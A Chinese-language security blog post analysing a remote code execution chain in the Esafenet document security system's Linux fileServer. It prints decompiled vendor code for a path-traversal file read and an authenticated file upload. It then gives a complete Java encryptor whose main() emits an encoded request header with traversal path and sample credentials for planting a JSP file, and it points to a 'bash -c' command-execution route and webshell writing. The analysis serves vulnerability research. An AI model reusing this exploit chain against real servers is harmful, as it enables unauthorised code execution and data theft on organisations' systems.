亿赛通电子文档安全管理系统远程代码执行漏洞浅析

admin 2024年10月29日00:29:08评论21 views字数 22628阅读75分25秒阅读模式

亿赛通电子文档安全管理系统远程代码执行漏洞浅析

漏洞分析

最近天天曝亿赛通的漏洞,又是这个新手向的项目,有点烦其实不是很想写的,本次原理也很简单

熟悉的人可能知道这个系统在windows与linux下有点区别,在linux系统下多了一个8021端口

相较于CDGServer3服务下又臭又长的代码,这个fileserver下的代码还是很短小的

亿赛通电子文档安全管理系统远程代码执行漏洞浅析

任意文件读取

com.esafenet.fileserver.controller.LinuxUpdateController#dlUltrasec

可以看到其实这里存在一个很简单的文件读取功能,这里只要filePath与type不为空即可,很简单的目录穿越漏洞

1234567891011121314151617181920212223242526272829303132333435363738394041424344
public void dlUltrasec(HttpServletRequest request, HttpServletResponse response) {        logger.info("进入KO下载程序!");.....省略.....            String filePath = request.getParameter("path");            String type = request.getParameter("type");            if (StrUtil.isBlank(filePath) && StrUtil.isBlank(type)) {                logger.error("filePath、type参数为空");                return;            }            if ("1".equals(type)) {                type = "ko";            }            if ("2".equals(type)) {                type = "patch";            }            filePath = this.fileService.getAbsolutePathLinux(type, filePath);            File file = new File(filePath);            logger.info("file exists:" + file.exists());            if (file.exists()) {                logger.info(filePath + " 文件存在");                FileInputStream fis = new FileInputStream(file);                response.addHeader("content-type", "application/x-msdownload");                response.addHeader("Content-Disposition", "attachment; filename=" + file.getName());                response.addHeader("Content-Length", String.valueOf(fis.available()));                outputStream = response.getOutputStream();                bos = new BufferedOutputStream(outputStream);                bis = new BufferedInputStream(fis);                byte[] readByte = new byte[8192];                boolean var12 = false;                int size;                while((size = bis.read(readByte)) != -1) {                    bos.write(readByte, 0, size);                }                bos.flush();            } else {                logger.error("downloadFile=>文件不存在" + JSON.toJSONString(resultMap));            }.....省略......

简单来看看getAbsolutePathLinux的代码逻辑

1234567891011121314151617
@Value("${SQLurl}")private String SQLurl;@Value("${file.path}")private String basePath;public String getAbsolutePathLinux(String type, String filePath) {    if (!StringUtils.hasLength(this.basePath)) {        this.basePath = this.getResourcePath();    }    filePath = this.basePath + File.separator + "linux" + File.separator + type + File.separator + filePath;    File file = new File(filePath);    if (!file.exists()) {        file.mkdirs();    }    return filePath;}

这个值来源于配置文件,同时我们在配置文件当中可以看到有两个参数,用户名与密码(所以也大概知道读的文件是什么了,就是这个jar包),同时亿赛通系统的安装路径也是固定的

亿赛通电子文档安全管理系统远程代码执行漏洞浅析

因此通过目录穿越,我们只需要读取/esafenet/fileServer/fileServer.jar即可

文件上传

这个功能点在com.esafenet.fileserver.controller.FileController#uploadFile

在这个控制器下有两个引人注目的属性,也就是application配置中的内容

1234
@Value("${server.userName}")private String userName;@Value("${server.password}")private String password;

上传的代码很简单,偏新手向,唯一需要注意的就是有参数校验以及加密

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293
public String uploadFile(@RequestParam("file") MultipartFile[] uploadfile, HttpServletRequest request) {HashMap resultMap = new HashMap();.....省略......      boolean b = this.validateParamterForUpload(request, resultMap);      String content;      if (!b) {          content = CdgUtils.getInstance().sendInfo(JSON.toJSONString(resultMap));          return content;      }      content = request.getHeader("content");      String json = CdgUtils.decode(content);      JSONObject jsonObject = JSON.parseObject(json);      Long offset = jsonObject.getLong("offset");      long total = jsonObject.getLongValue("totalSize");      String md5 = jsonObject.getString("md5");      String loginName = jsonObject.getString("loginName");      String srcPath = jsonObject.getString("filePath");      int type = jsonObject.getIntValue("type");      List<Map<String, Object>> list = new ArrayList();      if (uploadfile != null && uploadfile.length > 0) {          for(int i = 0; i < uploadfile.length; ++i) {              MultipartFile file = uploadfile[i];              if (file.getSize() != 0L) {                  File targetfile = null;                  String newPath;                  HashMap item;                  if (type == 1) {                      newPath = this.fileService.getDirPath((String)null);                      String filename = srcPath.substring(1);                      targetfile = new File(newPath, filename);                      if (offset != null) {                          this.uploadByBlock(list, offset, targetfile, md5, file);                      } else {                          file.transferTo(targetfile);                          item = new HashMap();                          item.put("fileSize", targetfile.length());                          item.put("filePath", this.fileService.getRelativePath(targetfile.getAbsolutePath()));                          list.add(item);                      }                  } else if (type == 2) {                      newPath = this.getbackupFilePath(srcPath);                      if (newPath != null) {                          targetfile = new File(newPath);                          File dir = targetfile.getParentFile();                          if (!dir.exists()) {                              dir.mkdirs();                          }                          if (offset != null) {                              this.uploadByBlock(list, offset, targetfile, md5, file);                          } else {                              file.transferTo(targetfile);                              item = new HashMap();                              item.put("fileSize", targetfile.length());                              item.put("filePath", this.fileService.getRelativePath(targetfile.getAbsolutePath()));                              list.add(item);                          }                      }                  }                  if (targetfile.length() == total) {                      Map<String, String> param = new HashMap();                      param.put("md5", md5);                      this.fileService.deleteFileInfo(param);                  }              }          }      }      resultMap.put("fileList", list);      resultMap.put("code", 1);      resultMap.put("msg", "成功");      return CdgUtils.getInstance().sendInfo(JSON.toJSONString(resultMap));  }  logger.error("文件上传并发总数到达上限,禁止并上传");  resultMap.put("code", 0);  resultMap.put("msg", "文件上传并发总数到达上限,禁止并上传");  var4 = CdgUtils.getInstance().sendInfo(JSON.toJSONString(resultMap));} catch (Exception var25) {  var25.printStackTrace();  logger.error("uploadFile=>" + var25.getMessage());  resultMap.put("code", 0);  resultMap.put("msg", var25.getMessage() + "");  return CdgUtils.getInstance().sendInfo(JSON.toJSONString(resultMap));} finally {  semaphoreUpload.release();  System.out.println("释放通路数:" + semaphoreUpload.availablePermits());}return var4;}

首先这里通过validateParamterForUpload对参数做了限制,要求Header中存在content参数,同时解密后要存在以下参数

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758
private boolean validateParamterForUpload(HttpServletRequest request, Map<String, Object> resultMap) throws Exception {       String content = request.getHeader("content");       if (!StringUtils.hasLength(content)) {           resultMap.put("code", 2);           resultMap.put("msg", "参数错误");           return false;       } else {           String json = CdgUtils.decodeContent(content);           if (!StringUtils.hasLength(json)) {               resultMap.put("code", 2);               resultMap.put("msg", "参数错误");               return false;           } else {               JSONObject jsonObject = JSON.parseObject(json);               String serverUserName = jsonObject.getString("userName");               String serverPwd = jsonObject.getString("pwd");               String loginName = jsonObject.getString("loginName");               String filePath = jsonObject.getString("filePath");               long timestamp = jsonObject.getLongValue("timestamp");               Integer type = jsonObject.getInteger("type");               if (!StringUtils.hasLength(serverUserName)) {                   resultMap.put("code", 3);                   resultMap.put("msg", "文件服务器用户名为空");                   return false;               } else if (!StringUtils.hasLength(serverPwd)) {                   resultMap.put("code", 4);                   resultMap.put("msg", "文件服务器用户密码为空");                   return false;               } else if (!StringUtils.hasLength(loginName)) {                   resultMap.put("code", 5);                   resultMap.put("msg", "CDG服务器用户登录名为空");                   return false;               } else if (!StringUtils.hasLength(String.valueOf(timestamp))) {                   resultMap.put("code", 6);                   resultMap.put("msg", "接口调用时间戳为空");                   return false;               } else if (type == null) {                   resultMap.put("code", 7);                   resultMap.put("msg", "上传类型为空");                   return false;               } else if (!serverUserName.equals(this.userName)) {                   resultMap.put("code", 9);                   resultMap.put("msg", "文件服务器用户名不正确");                   return false;               } else if (!serverPwd.equals(this.password)) {                   resultMap.put("code", 10);                   resultMap.put("msg", "文件服务器用密码不正确");                   return false;               } else if (type == 2 && !StringUtils.hasLength(filePath)) {                   resultMap.put("code", 11);                   resultMap.put("msg", "文件备份路径为空");                   return false;               } else {                   return true;               }           }       }   }

虽然这个站点是spring的,但是对应另一个端口的服务确是tomcat项目,因此我们只需要向对应位置写个jsp即可,具体细节不再多说

对于加密与解密我这里整理了一下,梳理了下最小逻辑

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527
import java.lang.reflect.Array;import java.security.InvalidKeyException;import java.security.MessageDigest;import java.util.concurrent.ConcurrentHashMap;public class Y4Uitls {    static final int[] alog = new int[256];    static final int[] log = new int[256];    static final byte[] S = new byte[256];    static final byte[] Si = new byte[256];    static final int[] T1 = new int[256];    static final int[] T2 = new int[256];    static final int[] T3 = new int[256];    static final int[] T4 = new int[256];    static final int[] T5 = new int[256];    static final int[] T6 = new int[256];    static final int[] T7 = new int[256];    static final int[] T8 = new int[256];    static final int[] U1 = new int[256];    static final int[] U2 = new int[256];    static final int[] U3 = new int[256];    static final int[] U4 = new int[256];    static final byte[] rcon = new byte[30];    static final int[][][] shifts = new int[][][]{{new int[2], {1, 3}, {2, 2}, {3, 1}}, {new int[2], {1, 5}, {2, 4}, {3, 3}}, {new int[2], {1, 7}, {3, 5}, {4, 4}}};    private static final char[] HEX_DIGITS = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'};    private static byte remain_low;    private static byte remain_up;    private static byte upper_bit_add_0100;    private static byte upper_bit_add_0101;    private static byte[] key2;    private static final int ENCRYPT_GROUP_LEN = 16;    private static final int BLOCK_LEN = 16;    private volatile ConcurrentHashMap<String, Integer> clientStatusMap = new ConcurrentHashMap(1000);    private static char[] hexDigits;    private static String publicKey;    public static final String KEY_ALGORITHM = "RSA";    private static final int MAX_DECRYPT_BLOCK = 128;    private String hardId = "";    private static MessageDigest messagedigest;    static {        remain_low = (byte)15;        remain_up = (byte)-16;        upper_bit_add_0100 = (byte)64;        upper_bit_add_0101 = (byte)80;        key2 = new byte[]{-21, -112, 90, -68, 5, 44, 85, -86, -21, -112, 90, -68, 5, 44, 85, -86};        hexDigits = new char[]{'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'};        publicKey = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCdd6QFVUF/86PA5EH0z0QcGDqCV7vKZA7DdNK6wYiA1TY1iRxKpsgWRgh4eTOxzdHdpEmvGZro/rxB5cDO3f/zui5jH+FK+EZZ4WL/6SbdYL1EmxOqj2E7WNhM4hCcai3oaqvvTuZOXZVeP4leHA4CGswvOlpUXTU6tbpcXYe6+wIDAQAB";        messagedigest = null;    }    static {        alog[0] = 1;        int var2;        int var16;        for(var2 = 1; var2 < 256; ++var2) {            var16 = alog[var2 - 1] << 1 ^ alog[var2 - 1];            if ((var16 & 256) != 0) {                var16 ^= 283;            }            alog[var2] = var16;        }        for(var2 = 1; var2 < 255; log[alog[var2]] = var2++) {        }        byte[][] var4 = new byte[][]{{1, 1, 1, 1, 1, 0, 0, 0}, {0, 1, 1, 1, 1, 1, 0, 0}, {0, 0, 1, 1, 1, 1, 1, 0}, {0, 0, 0, 1, 1, 1, 1, 1}, {1, 0, 0, 0, 1, 1, 1, 1}, {1, 1, 0, 0, 0, 1, 1, 1}, {1, 1, 1, 0, 0, 0, 1, 1}, {1, 1, 1, 1, 0, 0, 0, 1}};        byte[] var5 = new byte[]{0, 1, 1, 0, 0, 0, 1, 1};        byte[][] var7 = new byte[256][8];        var7[1][7] = 1;        int var6;        for(var2 = 2; var2 < 256; ++var2) {            var16 = alog[255 - log[var2]];            for(var6 = 0; var6 < 8; ++var6) {                var7[var2][var6] = (byte)(var16 >>> 7 - var6 & 1);            }        }        byte[][] var8 = new byte[256][8];        for(var2 = 0; var2 < 256; ++var2) {            for(var6 = 0; var6 < 8; ++var6) {                var8[var2][var6] = var5[var6];                for(var16 = 0; var16 < 8; ++var16) {                    var8[var2][var6] = (byte)(var8[var2][var6] ^ var4[var6][var16] * var7[var2][var16]);                }            }        }        for(var2 = 0; var2 < 256; ++var2) {            S[var2] = (byte)(var8[var2][0] << 7);            for(var6 = 1; var6 < 8; ++var6) {                byte[] var10000 = S;                var10000[var2] = (byte)(var10000[var2] ^ var8[var2][var6] << 7 - var6);            }            Si[S[var2] & 255] = (byte)var2;        }        byte[][] var9 = new byte[][]{{2, 1, 1, 3}, {3, 2, 1, 1}, {1, 3, 2, 1}, {1, 1, 3, 2}};        byte[][] var10 = new byte[4][8];        for(var2 = 0; var2 < 4; ++var2) {            for(var16 = 0; var16 < 4; ++var16) {                var10[var2][var16] = var9[var2][var16];            }            var10[var2][var2 + 4] = 1;        }        byte[][] var13 = new byte[4][4];        for(var2 = 0; var2 < 4; ++var2) {            byte var11 = var10[var2][var2];            if (var11 == 0) {                for(var6 = var2 + 1; var10[var6][var2] == 0 && var6 < 4; ++var6) {                }                if (var6 == 4) {                    throw new RuntimeException("G matrix is not invertible");                }                for(var16 = 0; var16 < 8; ++var16) {                    byte var12 = var10[var2][var16];                    var10[var2][var16] = var10[var6][var16];                    var10[var6][var16] = var12;                }                var11 = var10[var2][var2];            }            for(var16 = 0; var16 < 8; ++var16) {                if (var10[var2][var16] != 0) {                    var10[var2][var16] = (byte)alog[(255 + log[var10[var2][var16] & 255] - log[var11 & 255]) % 255];                }            }            for(var6 = 0; var6 < 4; ++var6) {                if (var2 != var6) {                    for(var16 = var2 + 1; var16 < 8; ++var16) {                        var10[var6][var16] = (byte)(var10[var6][var16] ^ mul(var10[var2][var16], var10[var6][var2]));                    }                    var10[var6][var2] = 0;                }            }        }        for(var2 = 0; var2 < 4; ++var2) {            for(var16 = 0; var16 < 4; ++var16) {                var13[var2][var16] = var10[var2][var16 + 4];            }        }        for(var6 = 0; var6 < 256; ++var6) {            byte var14 = S[var6];            T1[var6] = mul4(var14, var9[0]);            T2[var6] = mul4(var14, var9[1]);            T3[var6] = mul4(var14, var9[2]);            T4[var6] = mul4(var14, var9[3]);            var14 = Si[var6];            T5[var6] = mul4(var14, var13[0]);            T6[var6] = mul4(var14, var13[1]);            T7[var6] = mul4(var14, var13[2]);            T8[var6] = mul4(var14, var13[3]);            U1[var6] = mul4(var6, var13[0]);            U2[var6] = mul4(var6, var13[1]);            U3[var6] = mul4(var6, var13[2]);            U4[var6] = mul4(var6, var13[3]);        }        rcon[0] = 1;        int var15 = 1;        for(var6 = 1; var6 < 30; rcon[var6++] = (byte)(var15 = mul(2, var15))) {        }    }    static final int mul(int var0, int var1) {        return var0 != 0 && var1 != 0 ? alog[(log[var0 & 255] + log[var1 & 255]) % 255] : 0;    }    static final int mul4(int var0, byte[] var1) {        if (var0 == 0) {            return 0;        } else {            var0 = log[var0 & 255];            int var2 = var1[0] != 0 ? alog[(var0 + log[var1[0] & 255]) % 255] & 255 : 0;            int var3 = var1[1] != 0 ? alog[(var0 + log[var1[1] & 255]) % 255] & 255 : 0;            int var4 = var1[2] != 0 ? alog[(var0 + log[var1[2] & 255]) % 255] & 255 : 0;            int var5 = var1[3] != 0 ? alog[(var0 + log[var1[3] & 255]) % 255] & 255 : 0;            return var2 << 24 | var3 << 16 | var4 << 8 | var5;        }    }    public static Object makeKey(byte[] var0) throws InvalidKeyException {        return makeKey(var0, 16);    }    public static byte[] blockEncrypt(byte[] var0, int var1, Object var2) {        int[][] var3 = (int[][])((Object[])var2)[0];        int var4 = var3.length - 1;        int[] var5 = var3[0];        int var6 = ((var0[var1++] & 255) << 24 | (var0[var1++] & 255) << 16 | (var0[var1++] & 255) << 8 | var0[var1++] & 255) ^ var5[0];        int var7 = ((var0[var1++] & 255) << 24 | (var0[var1++] & 255) << 16 | (var0[var1++] & 255) << 8 | var0[var1++] & 255) ^ var5[1];        int var8 = ((var0[var1++] & 255) << 24 | (var0[var1++] & 255) << 16 | (var0[var1++] & 255) << 8 | var0[var1++] & 255) ^ var5[2];        int var9 = ((var0[var1++] & 255) << 24 | (var0[var1++] & 255) << 16 | (var0[var1++] & 255) << 8 | var0[var1++] & 255) ^ var5[3];        for(int var14 = 1; var14 < var4; ++var14) {            var5 = var3[var14];            int var10 = T1[var6 >>> 24 & 255] ^ T2[var7 >>> 16 & 255] ^ T3[var8 >>> 8 & 255] ^ T4[var9 & 255] ^ var5[0];            int var11 = T1[var7 >>> 24 & 255] ^ T2[var8 >>> 16 & 255] ^ T3[var9 >>> 8 & 255] ^ T4[var6 & 255] ^ var5[1];            int var12 = T1[var8 >>> 24 & 255] ^ T2[var9 >>> 16 & 255] ^ T3[var6 >>> 8 & 255] ^ T4[var7 & 255] ^ var5[2];            int var13 = T1[var9 >>> 24 & 255] ^ T2[var6 >>> 16 & 255] ^ T3[var7 >>> 8 & 255] ^ T4[var8 & 255] ^ var5[3];            var6 = var10;            var7 = var11;            var8 = var12;            var9 = var13;        }        byte[] var15 = new byte[16];        var5 = var3[var4];        int var16 = var5[0];        var15[0] = (byte)(S[var6 >>> 24 & 255] ^ var16 >>> 24);        var15[1] = (byte)(S[var7 >>> 16 & 255] ^ var16 >>> 16);        var15[2] = (byte)(S[var8 >>> 8 & 255] ^ var16 >>> 8);        var15[3] = (byte)(S[var9 & 255] ^ var16);        var16 = var5[1];        var15[4] = (byte)(S[var7 >>> 24 & 255] ^ var16 >>> 24);        var15[5] = (byte)(S[var8 >>> 16 & 255] ^ var16 >>> 16);        var15[6] = (byte)(S[var9 >>> 8 & 255] ^ var16 >>> 8);        var15[7] = (byte)(S[var6 & 255] ^ var16);        var16 = var5[2];        var15[8] = (byte)(S[var8 >>> 24 & 255] ^ var16 >>> 24);        var15[9] = (byte)(S[var9 >>> 16 & 255] ^ var16 >>> 16);        var15[10] = (byte)(S[var6 >>> 8 & 255] ^ var16 >>> 8);        var15[11] = (byte)(S[var7 & 255] ^ var16);        var16 = var5[3];        var15[12] = (byte)(S[var9 >>> 24 & 255] ^ var16 >>> 24);        var15[13] = (byte)(S[var6 >>> 16 & 255] ^ var16 >>> 16);        var15[14] = (byte)(S[var7 >>> 8 & 255] ^ var16 >>> 8);        var15[15] = (byte)(S[var8 & 255] ^ var16);        return var15;    }    public static byte[] blockDecrypt(byte[] var0, int var1, Object var2) {        int[][] var3 = (int[][])((Object[])var2)[1];        int var4 = var3.length - 1;        int[] var5 = var3[0];        int var6 = ((var0[var1++] & 255) << 24 | (var0[var1++] & 255) << 16 | (var0[var1++] & 255) << 8 | var0[var1++] & 255) ^ var5[0];        int var7 = ((var0[var1++] & 255) << 24 | (var0[var1++] & 255) << 16 | (var0[var1++] & 255) << 8 | var0[var1++] & 255) ^ var5[1];        int var8 = ((var0[var1++] & 255) << 24 | (var0[var1++] & 255) << 16 | (var0[var1++] & 255) << 8 | var0[var1++] & 255) ^ var5[2];        int var9 = ((var0[var1++] & 255) << 24 | (var0[var1++] & 255) << 16 | (var0[var1++] & 255) << 8 | var0[var1++] & 255) ^ var5[3];        for(int var14 = 1; var14 < var4; ++var14) {            var5 = var3[var14];            int var10 = T5[var6 >>> 24 & 255] ^ T6[var9 >>> 16 & 255] ^ T7[var8 >>> 8 & 255] ^ T8[var7 & 255] ^ var5[0];            int var11 = T5[var7 >>> 24 & 255] ^ T6[var6 >>> 16 & 255] ^ T7[var9 >>> 8 & 255] ^ T8[var8 & 255] ^ var5[1];            int var12 = T5[var8 >>> 24 & 255] ^ T6[var7 >>> 16 & 255] ^ T7[var6 >>> 8 & 255] ^ T8[var9 & 255] ^ var5[2];            int var13 = T5[var9 >>> 24 & 255] ^ T6[var8 >>> 16 & 255] ^ T7[var7 >>> 8 & 255] ^ T8[var6 & 255] ^ var5[3];            var6 = var10;            var7 = var11;            var8 = var12;            var9 = var13;        }        byte[] var15 = new byte[16];        var5 = var3[var4];        int var16 = var5[0];        var15[0] = (byte)(Si[var6 >>> 24 & 255] ^ var16 >>> 24);        var15[1] = (byte)(Si[var9 >>> 16 & 255] ^ var16 >>> 16);        var15[2] = (byte)(Si[var8 >>> 8 & 255] ^ var16 >>> 8);        var15[3] = (byte)(Si[var7 & 255] ^ var16);        var16 = var5[1];        var15[4] = (byte)(Si[var7 >>> 24 & 255] ^ var16 >>> 24);        var15[5] = (byte)(Si[var6 >>> 16 & 255] ^ var16 >>> 16);        var15[6] = (byte)(Si[var9 >>> 8 & 255] ^ var16 >>> 8);        var15[7] = (byte)(Si[var8 & 255] ^ var16);        var16 = var5[2];        var15[8] = (byte)(Si[var8 >>> 24 & 255] ^ var16 >>> 24);        var15[9] = (byte)(Si[var7 >>> 16 & 255] ^ var16 >>> 16);        var15[10] = (byte)(Si[var6 >>> 8 & 255] ^ var16 >>> 8);        var15[11] = (byte)(Si[var9 & 255] ^ var16);        var16 = var5[3];        var15[12] = (byte)(Si[var9 >>> 24 & 255] ^ var16 >>> 24);        var15[13] = (byte)(Si[var8 >>> 16 & 255] ^ var16 >>> 16);        var15[14] = (byte)(Si[var7 >>> 8 & 255] ^ var16 >>> 8);        var15[15] = (byte)(Si[var6 & 255] ^ var16);        return var15;    }    public static synchronized Object makeKey(byte[] var0, int var1) throws InvalidKeyException {        if (var0 == null) {            throw new InvalidKeyException("Empty key");        } else if (var0.length != 16 && var0.length != 24 && var0.length != 32) {            throw new InvalidKeyException("Incorrect key length");        } else {            int var2 = getRounds(var0.length, var1);            int var3 = var1 / 4;            int[][] var4 = new int[var2 + 1][var3];            int[][] var5 = new int[var2 + 1][var3];            int var6 = (var2 + 1) * var3;            int var7 = var0.length / 4;            int[] var8 = new int[var7];            int var9 = 0;            int var10;            for(var10 = 0; var9 < var7; var8[var9++] = (var0[var10++] & 255) << 24 | (var0[var10++] & 255) << 16 | (var0[var10++] & 255) << 8 | var0[var10++] & 255) {            }            int var11 = 0;            for(var10 = 0; var10 < var7 && var11 < var6; ++var11) {                var4[var11 / var3][var11 % var3] = var8[var10];                var5[var2 - var11 / var3][var11 % var3] = var8[var10];                ++var10;            }            int var13 = 0;            int var12;            while(var11 < var6) {                var12 = var8[var7 - 1];                var8[0] ^= (S[var12 >>> 16 & 255] & 255) << 24 ^ (S[var12 >>> 8 & 255] & 255) << 16 ^ (S[var12 & 255] & 255) << 8 ^ S[var12 >>> 24 & 255] & 255 ^ (rcon[var13++] & 255) << 24;                int var10001;                if (var7 != 8) {                    var9 = 1;                    for(var10 = 0; var9 < var7; var8[var10001] ^= var8[var10++]) {                        var10001 = var9++;                    }                } else {                    var9 = 1;                    for(var10 = 0; var9 < var7 / 2; var8[var10001] ^= var8[var10++]) {                        var10001 = var9++;                    }                    var12 = var8[var7 / 2 - 1];                    var8[var7 / 2] ^= S[var12 & 255] & 255 ^ (S[var12 >>> 8 & 255] & 255) << 8 ^ (S[var12 >>> 16 & 255] & 255) << 16 ^ (S[var12 >>> 24 & 255] & 255) << 24;                    var10 = var7 / 2;                    for(var9 = var10 + 1; var9 < var7; var8[var10001] ^= var8[var10++]) {                        var10001 = var9++;                    }                }                for(var10 = 0; var10 < var7 && var11 < var6; ++var11) {                    var4[var11 / var3][var11 % var3] = var8[var10];                    var5[var2 - var11 / var3][var11 % var3] = var8[var10];                    ++var10;                }            }            for(int var14 = 1; var14 < var2; ++var14) {                for(var10 = 0; var10 < var3; ++var10) {                    var12 = var5[var14][var10];                    var5[var14][var10] = U1[var12 >>> 24 & 255] ^ U2[var12 >>> 16 & 255] ^ U3[var12 >>> 8 & 255] ^ U4[var12 & 255];                }            }            Object[] var15 = new Object[]{var4, var5};            return var15;        }    }    public static int getRounds(int var0, int var1) {        switch (var0) {            case 16:                if (var1 == 16) {                    return 10;                } else {                    if (var1 == 24) {                        return 12;                    }                    return 14;                }            case 24:                if (var1 != 32) {                    return 12;                }                return 14;            default:                return 14;        }    }    public static String getTransferUnEncrptString(String s) throws Exception {        byte[] abyte0 = s.getBytes("ISO8859_1");        int nlength = Array.getLength(abyte0);        int len = 2;        byte[] result = new byte[nlength / len];        for (int i = 0; i < nlength; i += len) {            byte bSingleCharUpper;            byte byteRLower = abyte0[i];            byte byteLLower = abyte0[i + 1];            byteRLower = (byte)(byteRLower & remain_low);            byteRLower = (byte)(byteRLower << 4);            byteRLower = (byte)(byteRLower & remain_up);            byteLLower = (byte)(byteLLower & remain_low);            result[i / 2] = bSingleCharUpper = (byteLLower = (byte)(byteLLower | byteRLower));        }        String unencrptString = new String(result, "ISO8859_1");        return unencrptString;    }    public static String getTransferEncrptString(String s) throws Exception {        byte[] byteTransferEncrpt = s.getBytes("ISO8859_1");        int nLength = Array.getLength(byteTransferEncrpt);        byte[] result = new byte[nLength * 2];        for (int i = 0; i < nLength; ++i) {            int c;            int sc = c = byteTransferEncrpt[i];            byte bUpper = (byte)(sc >>>= 4);            int bLower = c;            byte bLowerChar = (byte)(bUpper & remain_low);            byte zero = 0;            bLowerChar = bLowerChar == zero ? (byte)(bLowerChar | upper_bit_add_0101) : (byte)(bLowerChar | upper_bit_add_0100);            byte cLowerChar = bLowerChar;            byte bLowerChar1 = (byte)(bLower & remain_low);            bLowerChar1 = bLowerChar1 == zero ? (byte)(bLowerChar1 | upper_bit_add_0101) : (byte)(bLowerChar1 | upper_bit_add_0100);            byte cLowerChar1 = bLowerChar1;            result[i * 2] = cLowerChar;            result[i * 2 + 1] = cLowerChar1;        }        String encrptString = new String(result, "ISO8859_1");        return encrptString;    }    public static String encode(String str) throws Exception {        byte[] abyte1 = str.getBytes();        int nLength = Array.getLength(abyte1);        encode((byte[])abyte1, (int)nLength, (byte[])key2);        String src = new String(abyte1, "ISO8859_1");        return getTransferEncrptString((String)src);    }    public static void encode(byte[] abyte1, int nLength, byte[] abyte0) throws Exception {        int groupsLen = 16 * (nLength / 16);        Object obj = makeKey((byte[])abyte0);        encrypt((byte[])abyte1, (byte[])abyte1, (int)groupsLen, (Object)obj);        if (groupsLen != nLength) {            int nLeft = nLength - groupsLen;            for (int i = 0; i < nLeft; ++i) {                int n = groupsLen + i;                abyte1[n] = (byte)(abyte1[n] ^ i);            }        }    }    public static String decode(String info) {        try {            info = getTransferUnEncrptString((String)info);            byte[] abyte2 = info.getBytes("ISO8859_1");            int nLength = Array.getLength(abyte2);            decode((byte[])abyte2, (int)nLength, (byte[])key2);            info = new String(abyte2);            return info;        }        catch (Exception ex) {            return info;        }    }    public static void decode(byte[] abyte1, int nLength, byte[] abyte0) throws Exception {        int groupsLen = 16 * (nLength / 16);        Object obj = makeKey((byte[])abyte0);        decrypt((byte[])abyte1, (byte[])abyte1, (int)groupsLen, (Object)obj);        if (groupsLen != nLength) {            int nLeft = nLength - groupsLen;            for (int i = 0; i < nLeft; ++i) {                int n = groupsLen + i;                abyte1[n] = (byte)(abyte1[n] ^ i);            }        }    }    public static void encrypt(byte[] in, byte[] result, int n, Object obj) throws Exception {        byte[] abyte = new byte[16];        byte[] abyte0 = new byte[16];        if (0 == n) {            return;        }        for (int i = 0; i < n / 16; ++i) {            System.arraycopy(in, i * 16, abyte, 0, 16);            abyte0 = blockEncrypt((byte[])abyte, (int)0, (Object)obj);            System.arraycopy(abyte0, 0, result, i * 16, 16);        }    }    public static void decrypt(byte[] in, byte[] result, int n, Object obj) throws Exception {        byte[] abyte = new byte[16];        byte[] abyte0 = new byte[16];        if (0 == n) {            return;        }        for (int i = 0; i < n / 16; ++i) {            System.arraycopy(in, i * 16, abyte, 0, 16);            abyte0 = blockDecrypt((byte[])abyte, (int)0, (Object)obj);            System.arraycopy(abyte0, 0, result, i * 16, 16);        }    }    public static void main(String[] args) throws Exception{        System.out.println(encode("{\"totalSize\":196,\"offset\":\"0\",\"loginName\":\"y4loveyou\",\"filePath\":\"./../../../../../../../../esafenet/CdgWeb/CDGServer3/3g/y4test.jsp\",\"userName\":\"admin\",\"pwd\":\"admin@123\",\"type\":\"1\",\"timestamp\":1702496085}"));    }}

后话

看都看了不如多看一点,对于MogDbController,虽然路由下很多执行命令的功能点

亿赛通电子文档安全管理系统远程代码执行漏洞浅析

但是仔细看执行的地方,因为Java命令执行参数化的原因,这里没办法注入其他命令,可惜了这里该是有回显的

亿赛通电子文档安全管理系统远程代码执行漏洞浅析

但是看另一个路由com.esafenet.fileserver.controller.DataBaseController#backrestore

看到Bash -c以及cmd /c也就放心了,同时如果不出网我们也可以把结果写到CDGServer3下直接访问即可,也或者写个马到CDGServer3下,方法比较多就不说了

亿赛通电子文档安全管理系统远程代码执行漏洞浅析

- source:y4tacker

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日00:29:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   亿赛通电子文档安全管理系统远程代码执行漏洞浅析https://cn-sec.com/archives/3314555.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息